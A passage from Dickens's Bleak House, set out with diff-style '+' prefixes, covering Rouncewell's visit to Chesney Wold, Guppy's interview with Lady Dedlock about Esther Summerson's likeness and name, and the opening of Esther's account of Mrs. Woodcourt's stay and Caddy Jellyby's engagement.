+breast of his blue coat, the attitude of state in which he is painted
+in the gallery, "do you draw a parallel between Chesney Wold and a--"
+Here he resists a disposition to choke, "a factory?"
+
+"I need not reply, Sir Leicester, that the two places are very
+different; but for the purposes of this case, I think a parallel may
+be justly drawn between them."
+
+Sir Leicester directs his majestic glance down one side of the long
+drawing-room and up the other before he can believe that he is awake.
+
+"Are you aware, sir, that this young woman whom my Lady--my Lady--has
+placed near her person was brought up at the village school outside
+the gates?"
+
+"Sir Leicester, I am quite aware of it. A very good school it is, and
+handsomely supported by this family."
+
+"Then, Mr. Rouncewell," returns Sir Leicester, "the application of
+what you have said is, to me, incomprehensible."
+
+"Will it be more comprehensible, Sir Leicester, if I say," the
+ironmaster is reddening a little, "that I do not regard the village
+school as teaching everything desirable to be known by my son's
+wife?"
+
+From the village school of Chesney Wold, intact as it is this minute,
+to the whole framework of society; from the whole framework of
+society, to the aforesaid framework receiving tremendous cracks in
+consequence of people (iron-masters, lead-mistresses, and what not)
+not minding their catechism, and getting out of the station unto
+which they are called--necessarily and for ever, according to Sir
+Leicester's rapid logic, the first station in which they happen to
+find themselves; and from that, to their educating other people out
+of THEIR stations, and so obliterating the landmarks, and opening the
+floodgates, and all the rest of it; this is the swift progress of the
+Dedlock mind.
+
+"My Lady, I beg your pardon. Permit me, for one moment!" She has
+given a faint indication of intending to speak. "Mr. Rouncewell, our
+views of duty, and our views of station, and our views of education,
+and our views of--in short, ALL our views--are so diametrically
+opposed, that to prolong this discussion must be repellent to your
+feelings and repellent to my own. This young woman is honoured with
+my Lady's notice and favour. If she wishes to withdraw herself from
+that notice and favour or if she chooses to place herself under the
+influence of any one who may in his peculiar opinions--you will allow
+me to say, in his peculiar opinions, though I readily admit that he
+is not accountable for them to me--who may, in his peculiar opinions,
+withdraw her from that notice and favour, she is at any time at
+liberty to do so. We are obliged to you for the plainness with which
+you have spoken. It will have no effect of itself, one way or other,
+on the young woman's position here. Beyond this, we can make no
+terms; and here we beg--if you will be so good--to leave the
+subject."
+
+The visitor pauses a moment to give my Lady an opportunity, but she
+says nothing. He then rises and replies, "Sir Leicester and Lady
+Dedlock, allow me to thank you for your attention and only to observe
+that I shall very seriously recommend my son to conquer his present
+inclinations. Good night!"
+
+"Mr. Rouncewell," says Sir Leicester with all the nature of a
+gentleman shining in him, "it is late, and the roads are dark. I hope
+your time is not so precious but that you will allow my Lady and
+myself to offer you the hospitality of Chesney Wold, for to-night at
+least."
+
+"I hope so," adds my Lady.
+
+"I am much obliged to you, but I have to travel all night in order to
+reach a distant part of the country punctually at an appointed time
+in the morning."
+
+Therewith the ironmaster takes his departure, Sir Leicester ringing
+the bell and my Lady rising as he leaves the room.
+
+When my Lady goes to her boudoir, she sits down thoughtfully by the
+fire, and inattentive to the Ghost's Walk, looks at Rosa, writing in
+an inner room. Presently my Lady calls her.
+
+"Come to me, child. Tell me the truth. Are you in love?"
+
+"Oh! My Lady!"
+
+My Lady, looking at the downcast and blushing face, says smiling,
+"Who is it? Is it Mrs. Rouncewell's grandson?"
+
+"Yes, if you please, my Lady. But I don't know that I am in love with
+him--yet."
+
+"Yet, you silly little thing! Do you know that he loves YOU, yet?"
+
+"I think he likes me a little, my Lady." And Rosa bursts into tears.
+
+Is this Lady Dedlock standing beside the village beauty, smoothing
+her dark hair with that motherly touch, and watching her with eyes so
+full of musing interest? Aye, indeed it is!
+
+"Listen to me, child. You are young and true, and I believe you are
+attached to me."
+
+"Indeed I am, my Lady. Indeed there is nothing in the world I
+wouldn't do to show how much."
+
+"And I don't think you would wish to leave me just yet, Rosa, even
+for a lover?"
+
+"No, my Lady! Oh, no!" Rosa looks up for the first time, quite
+frightened at the thought.
+
+"Confide in me, my child. Don't fear me. I wish you to be happy, and
+will make you so--if I can make anybody happy on this earth."
+
+Rosa, with fresh tears, kneels at her feet and kisses her hand. My
+Lady takes the hand with which she has caught it, and standing with
+her eyes fixed on the fire, puts it about and about between her own
+two hands, and gradually lets it fall. Seeing her so absorbed, Rosa
+softly withdraws; but still my Lady's eyes are on the fire.
+
+In search of what? Of any hand that is no more, of any hand that
+never was, of any touch that might have magically changed her life?
+Or does she listen to the Ghost's Walk and think what step does it
+most resemble? A man's? A woman's? The pattering of a little child's
+feet, ever coming on--on--on? Some melancholy influence is upon her,
+or why should so proud a lady close the doors and sit alone upon the
+hearth so desolate?
+
+Volumnia is away next day, and all the cousins are scattered before
+dinner. Not a cousin of the batch but is amazed to hear from Sir
+Leicester at breakfast-time of the obliteration of landmarks, and
+opening of floodgates, and cracking of the framework of society,
+manifested through Mrs. Rouncewell's son. Not a cousin of the batch
+but is really indignant, and connects it with the feebleness of
+William Buffy when in office, and really does feel deprived of a
+stake in the country--or the pension list--or something--by fraud and
+wrong. As to Volumnia, she is handed down the great staircase by Sir
+Leicester, as eloquent upon the theme as if there were a general
+rising in the north of England to obtain her rouge-pot and pearl
+necklace. And thus, with a clatter of maids and valets--for it is one
+appurtenance of their cousinship that however difficult they may find
+it to keep themselves, they MUST keep maids and valets--the cousins
+disperse to the four winds of heaven; and the one wintry wind that
+blows to-day shakes a shower from the trees near the deserted house,
+as if all the cousins had been changed into leaves.
+
+
+
+
+CHAPTER XXIX
+
+The Young Man
+
+
+Chesney Wold is shut up, carpets are rolled into great scrolls in
+corners of comfortless rooms, bright damask does penance in brown
+holland, carving and gilding puts on mortification, and the Dedlock
+ancestors retire from the light of day again. Around and around the
+house the leaves fall thick, but never fast, for they come circling
+down with a dead lightness that is sombre and slow. Let the gardener
+sweep and sweep the turf as he will, and press the leaves into full
+barrows, and wheel them off, still they lie ankle-deep. Howls the
+shrill wind round Chesney Wold; the sharp rain beats, the windows
+rattle, and the chimneys growl. Mists hide in the avenues, veil the
+points of view, and move in funeral-wise across the rising grounds.
+On all the house there is a cold, blank smell like the smell of a
+little church, though something dryer, suggesting that the dead and
+buried Dedlocks walk there in the long nights and leave the flavour
+of their graves behind them.
+
+But the house in town, which is rarely in the same mind as Chesney
+Wold at the same time, seldom rejoicing when it rejoices or mourning
+when it mourns, excepting when a Dedlock dies--the house in town
+shines out awakened. As warm and bright as so much state may be, as
+delicately redolent of pleasant scents that bear no trace of winter
+as hothouse flowers can make it, soft and hushed so that the ticking
+of the clocks and the crisp burning of the fires alone disturb the
+stillness in the rooms, it seems to wrap those chilled bones of Sir
+Leicester's in rainbow-coloured wool. And Sir Leicester is glad to
+repose in dignified contentment before the great fire in the library,
+condescendingly perusing the backs of his books or honouring the fine
+arts with a glance of approbation. For he has his pictures, ancient
+and modern. Some of the Fancy Ball School in which art occasionally
+condescends to become a master, which would be best catalogued like
+the miscellaneous articles in a sale. As "Three high-backed chairs, a
+table and cover, long-necked bottle (containing wine), one flask, one
+Spanish female's costume, three-quarter face portrait of Miss Jogg
+the model, and a suit of armour containing Don Quixote." Or "One
+stone terrace (cracked), one gondola in distance, one Venetian
+senator's dress complete, richly embroidered white satin costume with
+profile portrait of Miss Jogg the model, one Scimitar superbly
+mounted in gold with jewelled handle, elaborate Moorish dress (very
+rare), and Othello."
+
+Mr. Tulkinghorn comes and goes pretty often, there being estate
+business to do, leases to be renewed, and so on. He sees my Lady
+pretty often, too; and he and she are as composed, and as
+indifferent, and take as little heed of one another, as ever. Yet it
+may be that my Lady fears this Mr. Tulkinghorn and that he knows it.
+It may be that he pursues her doggedly and steadily, with no touch of
+compunction, remorse, or pity. It may be that her beauty and all the
+state and brilliancy surrounding her only gives him the greater zest
+for what he is set upon and makes him the more inflexible in it.
+Whether he be cold and cruel, whether immovable in what he has made
+his duty, whether absorbed in love of power, whether determined
+to have nothing hidden from him in ground where he has burrowed
+among secrets all his life, whether he in his heart despises the
+splendour of which he is a distant beam, whether he is always
+treasuring up slights and offences in the affability of his gorgeous
+clients--whether he be any of this, or all of this, it may be that my
+Lady had better have five thousand pairs of fashionable eyes upon
+her, in distrustful vigilance, than the two eyes of this rusty lawyer
+with his wisp of neckcloth and his dull black breeches tied with
+ribbons at the knees.
+
+Sir Leicester sits in my Lady's room--that room in which Mr.
+Tulkinghorn read the affidavit in Jarndyce and Jarndyce--particularly
+complacent. My Lady, as on that day, sits before the fire with her
+screen in her hand. Sir Leicester is particularly complacent because
+he has found in his newspaper some congenial remarks bearing directly
+on the floodgates and the framework of society. They apply so happily
+to the late case that Sir Leicester has come from the library to my
+Lady's room expressly to read them aloud. "The man who wrote this
+article," he observes by way of preface, nodding at the fire as if he
+were nodding down at the man from a mount, "has a well-balanced
+mind."
+
+The man's mind is not so well balanced but that he bores my Lady,
+who, after a languid effort to listen, or rather a languid
+resignation of herself to a show of listening, becomes distraught and
+falls into a contemplation of the fire as if it were her fire at
+Chesney Wold, and she had never left it. Sir Leicester, quite
+unconscious, reads on through his double eye-glass, occasionally
+stopping to remove his glass and express approval, as "Very true
+indeed," "Very properly put," "I have frequently made the same remark
+myself," invariably losing his place after each observation, and
+going up and down the column to find it again.
+
+Sir Leicester is reading with infinite gravity and state when the
+door opens, and the Mercury in powder makes this strange
+announcement, "The young man, my Lady, of the name of Guppy."
+
+Sir Leicester pauses, stares, repeats in a killing voice, "The young
+man of the name of Guppy?"
+
+Looking round, he beholds the young man of the name of Guppy, much
+discomfited and not presenting a very impressive letter of
+introduction in his manner and appearance.
+
+"Pray," says Sir Leicester to Mercury, "what do you mean by
+announcing with this abruptness a young man of the name of Guppy?"
+
+"I beg your pardon, Sir Leicester, but my Lady said she would see the
+young man whenever he called. I was not aware that you were here, Sir
+Leicester."
+
+With this apology, Mercury directs a scornful and indignant look at
+the young man of the name of Guppy which plainly says, "What do you
+come calling here for and getting ME into a row?"
+
+"It's quite right. I gave him those directions," says my Lady. "Let
+the young man wait."
+
+"By no means, my Lady. Since he has your orders to come, I will not
+interrupt you." Sir Leicester in his gallantry retires, rather
+declining to accept a bow from the young man as he goes out and
+majestically supposing him to be some shoemaker of intrusive
+appearance.
+
+Lady Dedlock looks imperiously at her visitor when the servant has
+left the room, casting her eyes over him from head to foot. She
+suffers him to stand by the door and asks him what he wants.
+
+"That your ladyship would have the kindness to oblige me with a
+little conversation," returns Mr. Guppy, embarrassed.
+
+"You are, of course, the person who has written me so many letters?"
+
+"Several, your ladyship. Several before your ladyship condescended to
+favour me with an answer."
+
+"And could you not take the same means of rendering a Conversation
+unnecessary? Can you not still?"
+
+Mr. Guppy screws his mouth into a silent "No!" and shakes his head.
+
+"You have been strangely importunate. If it should appear, after all,
+that what you have to say does not concern me--and I don't know how
+it can, and don't expect that it will--you will allow me to cut you
+short with but little ceremony. Say what you have to say, if you
+please."
+
+My Lady, with a careless toss of her screen, turns herself towards
+the fire again, sitting almost with her back to the young man of the
+name of Guppy.
+
+"With your ladyship's permission, then," says the young man, "I will
+now enter on my business. Hem! I am, as I told your ladyship in my
+first letter, in the law. Being in the law, I have learnt the habit
+of not committing myself in writing, and therefore I did not mention
+to your ladyship the name of the firm with which I am connected and
+in which my standing--and I may add income--is tolerably good. I may
+now state to your ladyship, in confidence, that the name of that firm
+is Kenge and Carboy, of Lincoln's Inn, which may not be altogether
+unknown to your ladyship in connexion with the case in Chancery of
+Jarndyce and Jarndyce."
+
+My Lady's figure begins to be expressive of some attention. She has
+ceased to toss the screen and holds it as if she were listening.
+
+"Now, I may say to your ladyship at once," says Mr. Guppy, a little
+emboldened, "it is no matter arising out of Jarndyce and Jarndyce
+that made me so desirous to speak to your ladyship, which conduct I
+have no doubt did appear, and does appear, obtrusive--in fact, almost
+blackguardly."
+
+After waiting for a moment to receive some assurance to the contrary,
+and not receiving any, Mr. Guppy proceeds, "If it had been Jarndyce
+and Jarndyce, I should have gone at once to your ladyship's
+solicitor, Mr. Tulkinghorn, of the Fields. I have the pleasure of
+being acquainted with Mr. Tulkinghorn--at least we move when we meet
+one another--and if it had been any business of that sort, I should
+have gone to him."
+
+My Lady turns a little round and says, "You had better sit down."
+
+"Thank your ladyship." Mr. Guppy does so. "Now, your ladyship"--Mr.
+Guppy refers to a little slip of paper on which he has made small
+notes of his line of argument and which seems to involve him in the
+densest obscurity whenever he looks at it--"I--Oh, yes!--I place
+myself entirely in your ladyship's hands. If your ladyship was to
+make any complaint to Kenge and Carboy or to Mr. Tulkinghorn of the
+present visit, I should be placed in a very disagreeable situation.
+That, I openly admit. Consequently, I rely upon your ladyship's
+honour."
+
+My Lady, with a disdainful gesture of the hand that holds the screen,
+assures him of his being worth no complaint from her.
+
+"Thank your ladyship," says Mr. Guppy; "quite satisfactory.
+Now--I--dash it!--The fact is that I put down a head or two here of
+the order of the points I thought of touching upon, and they're
+written short, and I can't quite make out what they mean. If your
+ladyship will excuse me taking it to the window half a moment, I--"
+
+Mr. Guppy, going to the window, tumbles into a pair of love-birds, to
+whom he says in his confusion, "I beg your pardon, I am sure." This
+does not tend to the greater legibility of his notes. He murmurs,
+growing warm and red and holding the slip of paper now close to his
+eyes, now a long way off, "C.S. What's C.S. for? Oh! C.S.! Oh, I
+know! Yes, to be sure!" And comes back enlightened.
+
+"I am not aware," says Mr. Guppy, standing midway between my Lady and
+his chair, "whether your ladyship ever happened to hear of, or to
+see, a young lady of the name of Miss Esther Summerson."
+
+My Lady's eyes look at him full. "I saw a young lady of that name not
+long ago. This past autumn."
+
+"Now, did it strike your ladyship that she was like anybody?" asks
+Mr. Guppy, crossing his arms, holding his head on one side, and
+scratching the corner of his mouth with his memoranda.
+
+My Lady removes her eyes from him no more.
+
+"No."
+
+"Not like your ladyship's family?"
+
+"No."
+
+"I think your ladyship," says Mr. Guppy, "can hardly remember Miss
+Summerson's face?"
+
+"I remember the young lady very well. What has this to do with me?"
+
+"Your ladyship, I do assure you that having Miss Summerson's image
+imprinted on my 'eart--which I mention in confidence--I found, when I
+had the honour of going over your ladyship's mansion of Chesney Wold
+while on a short out in the county of Lincolnshire with a friend,
+such a resemblance between Miss Esther Summerson and your ladyship's
+own portrait that it completely knocked me over, so much so that I
+didn't at the moment even know what it WAS that knocked me over. And
+now I have the honour of beholding your ladyship near (I have often,
+since that, taken the liberty of looking at your ladyship in your
+carriage in the park, when I dare say you was not aware of me, but I
+never saw your ladyship so near), it's really more surprising than I
+thought it."
+
+Young man of the name of Guppy! There have been times, when ladies
+lived in strongholds and had unscrupulous attendants within call,
+when that poor life of yours would NOT have been worth a minute's
+purchase, with those beautiful eyes looking at you as they look at
+this moment.
+
+My Lady, slowly using her little hand-screen as a fan, asks him again
+what he supposes that his taste for likenesses has to do with her.
+
+"Your ladyship," replies Mr. Guppy, again referring to his paper, "I
+am coming to that. Dash these notes! Oh! 'Mrs. Chadband.' Yes." Mr.
+Guppy draws his chair a little forward and seats himself again. My
+Lady reclines in her chair composedly, though with a trifle less of
+graceful ease than usual perhaps, and never falters in her steady
+gaze. "A--stop a minute, though!" Mr. Guppy refers again. "E.S.
+twice? Oh, yes! Yes, I see my way now, right on."
+
+Rolling up the slip of paper as an instrument to point his speech
+with, Mr. Guppy proceeds.
+
+"Your ladyship, there is a mystery about Miss Esther Summerson's
+birth and bringing up. I am informed of that fact because--which I
+mention in confidence--I know it in the way of my profession at Kenge
+and Carboy's. Now, as I have already mentioned to your ladyship, Miss
+Summerson's image is imprinted on my 'eart. If I could clear this
+mystery for her, or prove her to be well related, or find that having
+the honour to be a remote branch of your ladyship's family she had a
+right to be made a party in Jarndyce and Jarndyce, why, I might make
+a sort of a claim upon Miss Summerson to look with an eye of more
+dedicated favour on my proposals than she has exactly done as yet. In
+fact, as yet she hasn't favoured them at all."
+
+A kind of angry smile just dawns upon my Lady's face.
+
+"Now, it's a very singular circumstance, your ladyship," says Mr.
+Guppy, "though one of those circumstances that do fall in the way of
+us professional men--which I may call myself, for though not
+admitted, yet I have had a present of my articles made to me by Kenge
+and Carboy, on my mother's advancing from the principal of her little
+income the money for the stamp, which comes heavy--that I have
+encountered the person who lived as servant with the lady who brought
+Miss Summerson up before Mr. Jarndyce took charge of her. That lady
+was a Miss Barbary, your ladyship."
+
+Is the dead colour on my Lady's face reflected from the screen which
+has a green silk ground and which she holds in her raised hand as if
+she had forgotten it, or is it a dreadful paleness that has fallen on
+her?
+
+"Did your ladyship," says Mr. Guppy, "ever happen to hear of Miss
+Barbary?"
+
+"I don't know. I think so. Yes."
+
+"Was Miss Barbary at all connected with your ladyship's family?"
+
+My Lady's lips move, but they utter nothing. She shakes her head.
+
+"NOT connected?" says Mr. Guppy. "Oh! Not to your ladyship's
+knowledge, perhaps? Ah! But might be? Yes." After each of these
+interrogatories, she has inclined her head. "Very good! Now, this
+Miss Barbary was extremely close--seems to have been extraordinarily
+close for a female, females being generally (in common life at least)
+rather given to conversation--and my witness never had an idea
+whether she possessed a single relative. On one occasion, and only
+one, she seems to have been confidential to my witness on a single
+point, and she then told her that the little girl's real name was not
+Esther Summerson, but Esther Hawdon."
+
+"My God!"
+
+Mr. Guppy stares. Lady Dedlock sits before him looking him through,
+with the same dark shade upon her face, in the same attitude even to
+the holding of the screen, with her lips a little apart, her brow a
+little contracted, but for the moment dead. He sees her consciousness
+return, sees a tremor pass across her frame like a ripple over water,
+sees her lips shake, sees her compose them by a great effort, sees
+her force herself back to the knowledge of his presence and of what
+he has said. All this, so quickly, that her exclamation and her dead
+condition seem to have passed away like the features of those
+long-preserved dead bodies sometimes opened up in tombs, which,
+struck by the air like lightning, vanish in a breath.
+
+"Your ladyship is acquainted with the name of Hawdon?"
+
+"I have heard it before."
+
+"Name of any collateral or remote branch of your ladyship's family?"
+
+"No."
+
+"Now, your ladyship," says Mr. Guppy, "I come to the last point of
+the case, so far as I have got it up. It's going on, and I shall
+gather it up closer and closer as it goes on. Your ladyship must
+know--if your ladyship don't happen, by any chance, to know
+already--that there was found dead at the house of a person named
+Krook, near Chancery Lane, some time ago, a law-writer in great
+distress. Upon which law-writer there was an inquest, and which
+law-writer was an anonymous character, his name being unknown. But,
+your ladyship, I have discovered very lately that that law-writer's
+name was Hawdon."
+
+"And what is THAT to me?"
+
+"Aye, your ladyship, that's the question! Now, your ladyship, a queer
+thing happened after that man's death. A lady started up, a disguised
+lady, your ladyship, who went to look at the scene of action and went
+to look at his grave. She hired a crossing-sweeping boy to show it
+her. If your ladyship would wish to have the boy produced in
+corroboration of this statement, I can lay my hand upon him at any
+time."
+
+The wretched boy is nothing to my Lady, and she does NOT wish to have
+him produced.
+
+"Oh, I assure your ladyship it's a very queer start indeed," says Mr.
+Guppy. "If you was to hear him tell about the rings that sparkled on
+her fingers when she took her glove off, you'd think it quite
+romantic."
+
+There are diamonds glittering on the hand that holds the screen. My
+Lady trifles with the screen and makes them glitter more, again with
+that expression which in other times might have been so dangerous to
+the young man of the name of Guppy.
+
+"It was supposed, your ladyship, that he left no rag or scrap behind
+him by which he could be possibly identified. But he did. He left a
+bundle of old letters."
+
+The screen still goes, as before. All this time her eyes never once
+release him.
+
+"They were taken and secreted. And to-morrow night, your ladyship,
+they will come into my possession."
+
+"Still I ask you, what is this to me?"
+
+"Your ladyship, I conclude with that." Mr. Guppy rises. "If you think
+there's enough in this chain of circumstances put together--in the
+undoubted strong likeness of this young lady to your ladyship, which
+is a positive fact for a jury; in her having been brought up by Miss
+Barbary; in Miss Barbary stating Miss Summerson's real name to be
+Hawdon; in your ladyship's knowing both these names VERY WELL; and in
+Hawdon's dying as he did--to give your ladyship a family interest in
+going further into the case, I will bring these papers here. I don't
+know what they are, except that they are old letters: I have never
+had them in my possession yet. I will bring those papers here as soon
+as I get them and go over them for the first time with your ladyship.
+I have told your ladyship my object. I have told your ladyship that I
+should be placed in a very disagreeable situation if any complaint
+was made, and all is in strict confidence."
+
+Is this the full purpose of the young man of the name of Guppy, or
+has he any other? Do his words disclose the length, breadth, depth,
+of his object and suspicion in coming here; or if not, what do they
+hide? He is a match for my Lady there. She may look at him, but he
+can look at the table and keep that witness-box face of his from
+telling anything.
+
+"You may bring the letters," says my Lady, "if you choose."
+
+"Your ladyship is not very encouraging, upon my word and honour,"
+says Mr. Guppy, a little injured.
+
+"You may bring the letters," she repeats in the same tone, "if
+you--please."
+
+"It shall be done. I wish your ladyship good day."
+
+On a table near her is a rich bauble of a casket, barred and clasped
+like an old strong-chest. She, looking at him still, takes it to her
+and unlocks it.
+
+"Oh! I assure your ladyship I am not actuated by any motives of that
+sort," says Mr. Guppy, "and I couldn't accept anything of the kind. I
+wish your ladyship good day, and am much obliged to you all the
+same."
+
+So the young man makes his bow and goes downstairs, where the
+supercilious Mercury does not consider himself called upon to leave
+his Olympus by the hall-fire to let the young man out.
+
+As Sir Leicester basks in his library and dozes over his newspaper,
+is there no influence in the house to startle him, not to say to make
+the very trees at Chesney Wold fling up their knotted arms, the very
+portraits frown, the very armour stir?
+
+No. Words, sobs, and cries are but air, and air is so shut in and
+shut out throughout the house in town that sounds need be uttered
+trumpet-tongued indeed by my Lady in her chamber to carry any faint
+vibration to Sir Leicester's ears; and yet this cry is in the house,
+going upward from a wild figure on its knees.
+
+"O my child, my child! Not dead in the first hours of her life, as my
+cruel sister told me, but sternly nurtured by her, after she had
+renounced me and my name! O my child, O my child!"
+
+
+
+
+CHAPTER XXX
+
+Esther's Narrative
+
+
+Richard had been gone away some time when a visitor came to pass a
+few days with us. It was an elderly lady. It was Mrs. Woodcourt, who,
+having come from Wales to stay with Mrs. Bayham Badger and having
+written to my guardian, "by her son Allan's desire," to report that
+she had heard from him and that he was well "and sent his kind
+remembrances to all of us," had been invited by my guardian to make a
+visit to Bleak House. She stayed with us nearly three weeks. She took
+very kindly to me and was extremely confidential, so much so that
+sometimes she almost made me uncomfortable. I had no right, I knew
+very well, to be uncomfortable because she confided in me, and I felt
+it was unreasonable; still, with all I could do, I could not quite
+help it.
+
+She was such a sharp little lady and used to sit with her hands
+folded in each other looking so very watchful while she talked to me
+that perhaps I found that rather irksome. Or perhaps it was her being
+so upright and trim, though I don't think it was that, because I
+thought that quaintly pleasant. Nor can it have been the general
+expression of her face, which was very sparkling and pretty for an
+old lady. I don't know what it was. Or at least if I do now, I
+thought I did not then. Or at least--but it don't matter.
+
+Of a night when I was going upstairs to bed, she would invite me
+into her room, where she sat before the fire in a great chair;
+and, dear me, she would tell me about Morgan ap-Kerrig until I
+was quite low-spirited! Sometimes she recited a few verses from
+Crumlinwallinwer and the Mewlinnwillinwodd (if those are the right
+names, which I dare say they are not), and would become quite fiery
+with the sentiments they expressed. Though I never knew what they
+were (being in Welsh), further than that they were highly eulogistic
+of the lineage of Morgan ap-Kerrig.
+
+"So, Miss Summerson," she would say to me with stately triumph,
+"this, you see, is the fortune inherited by my son. Wherever my son
+goes, he can claim kindred with Ap-Kerrig. He may not have money, but
+he always has what is much better--family, my dear."
+
+I had my doubts of their caring so very much for Morgan ap-Kerrig in
+India and China, but of course I never expressed them. I used to say
+it was a great thing to be so highly connected.
+
+"It IS, my dear, a great thing," Mrs. Woodcourt would reply. "It has
+its disadvantages; my son's choice of a wife, for instance, is
+limited by it, but the matrimonial choice of the royal family is
+limited in much the same manner."
+
+Then she would pat me on the arm and smooth my dress, as much as to
+assure me that she had a good opinion of me, the distance between us
+notwithstanding.
+
+"Poor Mr. Woodcourt, my dear," she would say, and always with some
+emotion, for with her lofty pedigree she had a very affectionate
+heart, "was descended from a great Highland family, the MacCoorts of
+MacCoort. He served his king and country as an officer in the Royal
+Highlanders, and he died on the field. My son is one of the last
+representatives of two old families. With the blessing of heaven he
+will set them up again and unite them with another old family."
+
+It was in vain for me to try to change the subject, as I used to try,
+only for the sake of novelty or perhaps because--but I need not be so
+particular. Mrs. Woodcourt never would let me change it.
+
+"My dear," she said one night, "you have so much sense and you look
+at the world in a quiet manner so superior to your time of life that
+it is a comfort to me to talk to you about these family matters of
+mine. You don't know much of my son, my dear; but you know enough of
+him, I dare say, to recollect him?"
+
+"Yes, ma'am. I recollect him."
+
+"Yes, my dear. Now, my dear, I think you are a judge of character,
+and I should like to have your opinion of him."
+
+"Oh, Mrs. Woodcourt," said I, "that is so difficult!"
+
+"Why is it so difficult, my dear?" she returned. "I don't see it
+myself."
+
+"To give an opinion--"
+
+"On so slight an acquaintance, my dear. THAT'S true."
+
+I didn't mean that, because Mr. Woodcourt had been at our house a
+good deal altogether and had become quite intimate with my guardian.
+I said so, and added that he seemed to be very clever in his
+profession--we thought--and that his kindness and gentleness to Miss
+Flite were above all praise.
+
+"You do him justice!" said Mrs. Woodcourt, pressing my hand. "You
+define him exactly. Allan is a dear fellow, and in his profession
+faultless. I say it, though I am his mother. Still, I must confess he
+is not without faults, love."
+
+"None of us are," said I.
+
+"Ah! But his really are faults that he might correct, and ought to
+correct," returned the sharp old lady, sharply shaking her head. "I
+am so much attached to you that I may confide in you, my dear, as a
+third party wholly disinterested, that he is fickleness itself."
+
+I said I should have thought it hardly possible that he could have
+been otherwise than constant to his profession and zealous in the
+pursuit of it, judging from the reputation he had earned.
+
+"You are right again, my dear," the old lady retorted, "but I don't
+refer to his profession, look you."
+
+"Oh!" said I.
+
+"No," said she. "I refer, my dear, to his social conduct. He is
+always paying trivial attentions to young ladies, and always has
+been, ever since he was eighteen. Now, my dear, he has never really
+cared for any one of them and has never meant in doing this to do any
+harm or to express anything but politeness and good nature. Still,
+it's not right, you know; is it?"
+
+"No," said I, as she seemed to wait for me.
+
+"And it might lead to mistaken notions, you see, my dear."
+
+I supposed it might.
+
+"Therefore, I have told him many times that he really should be more
+careful, both in justice to himself and in justice to others. And he
+has always said, 'Mother, I will be; but you know me better than
+anybody else does, and you know I mean no harm--in short, mean
+nothing.' All of which is very true, my dear, but is no
+justification. However, as he is now gone so far away and for an
+indefinite time, and as he will have good opportunities and
+introductions, we may consider this past and gone. And you, my dear,"
+said the old lady, who was now all nods and smiles, "regarding your
+dear self, my love?"
+
+"Me, Mrs. Woodcourt?"
+
+"Not to be always selfish, talking of my son, who has gone to seek
+his fortune and to find a wife--when do you mean to seek YOUR fortune
+and to find a husband, Miss Summerson? Hey, look you! Now you blush!"
+
+I don't think I did blush--at all events, it was not important if I
+did--and I said my present fortune perfectly contented me and I had
+no wish to change it.
+
+"Shall I tell you what I always think of you and the fortune yet to
+come for you, my love?" said Mrs. Woodcourt.
+
+"If you believe you are a good prophet," said I.
+
+"Why, then, it is that you will marry some one very rich and very
+worthy, much older--five and twenty years, perhaps--than yourself.
+And you will be an excellent wife, and much beloved, and very happy."
+
+"That is a good fortune," said I. "But why is it to be mine?"
+
+"My dear," she returned, "there's suitability in it--you are so busy,
+and so neat, and so peculiarly situated altogether that there's
+suitability in it, and it will come to pass. And nobody, my love,
+will congratulate you more sincerely on such a marriage than I
+shall."
+
+It was curious that this should make me uncomfortable, but I think it
+did. I know it did. It made me for some part of that night
+uncomfortable. I was so ashamed of my folly that I did not like to
+confess it even to Ada, and that made me more uncomfortable still. I
+would have given anything not to have been so much in the bright old
+lady's confidence if I could have possibly declined it. It gave me
+the most inconsistent opinions of her. At one time I thought she was
+a story-teller, and at another time that she was the pink of truth.
+Now I suspected that she was very cunning, next moment I believed her
+honest Welsh heart to be perfectly innocent and simple. And after
+all, what did it matter to me, and why did it matter to me? Why could
+not I, going up to bed with my basket of keys, stop to sit down by
+her fire and accommodate myself for a little while to her, at least
+as well as to anybody else, and not trouble myself about the harmless
+things she said to me? Impelled towards her, as I certainly was, for
+I was very anxious that she should like me and was very glad indeed
+that she did, why should I harp afterwards, with actual distress and
+pain, on every word she said and weigh it over and over again in
+twenty scales? Why was it so worrying to me to have her in our house,
+and confidential to me every night, when I yet felt that it was
+better and safer somehow that she should be there than anywhere else?
+These were perplexities and contradictions that I could not account
+for. At least, if I could--but I shall come to all that by and by,
+and it is mere idleness to go on about it now.
+
+So when Mrs. Woodcourt went away, I was sorry to lose her but was
+relieved too. And then Caddy Jellyby came down, and Caddy brought
+such a packet of domestic news that it gave us abundant occupation.
+
+First Caddy declared (and would at first declare nothing else) that I
+was the best adviser that ever was known. This, my pet said, was no
+news at all; and this, I said, of course, was nonsense. Then Caddy
+told us that she was going to be married in a month and that if Ada
+and I would be her bridesmaids, she was the happiest girl in the
+world. To be sure, this was news indeed; and I thought we never
+should have done talking about it, we had so much to say to Caddy,
+and Caddy had so much to say to us.
+
+It seemed that Caddy's unfortunate papa had got over his
+bankruptcy--"gone through the Gazette," was the expression Caddy
+used, as if it were a tunnel--with the general clemency and
+commiseration of his creditors, and had got rid of his affairs in
+some blessed manner without succeeding in understanding them, and had
+given up everything he possessed (which was not worth much, I should
+think, to judge from the state of the furniture), and had satisfied
+every one concerned that he could do no more, poor man. So, he had
+been honourably dismissed to "the office" to begin the world again.
+What he did at the office, I never knew; Caddy said he was a
+"custom-house and general agent," and the only thing I ever
+understood about that business was that when he wanted money more
+than usual he went to the docks to look for it, and hardly ever found
+it.
+
+As soon as her papa had tranquillized his mind by becoming this shorn
+lamb, and they had removed to a furnished lodging in Hatton Garden
+(where I found the children, when I afterwards went there, cutting
+the horse hair out of the seats of the chairs and choking themselves
+with it), Caddy had brought about a meeting between him and old Mr.
+Turveydrop; and poor Mr. Jellyby, being very humble and meek, had
+deferred to Mr. Turveydrop's deportment so submissively that they had
+become excellent friends. By degrees, old Mr. Turveydrop, thus
+familiarized with the idea of his son's marriage, had worked up his
+parental feelings to the height of contemplating that event as being
+near at hand and had given his gracious consent to the young couple
+commencing housekeeping at the academy in Newman Street when they
+would.
+
+"And your papa, Caddy. What did he say?"
+
+"Oh! Poor Pa," said Caddy, "only cried and said he hoped we might get
+on better than he and Ma had got on. He didn't say so before Prince,
+he only said so to me. And he said, 'My poor girl, you have not been
+very well taught how to make a home for your husband, but unless you
+mean with all your heart to strive to do it, you had better murder
+him than marry him--if you really love him.'"
+
+"And how did you reassure him, Caddy?"
+
+"Why, it was very distressing, you know, to see poor Pa so low and
+hear him say such terrible things, and I couldn't help crying myself.
+But I told him that I DID mean it with all my heart and that I hoped
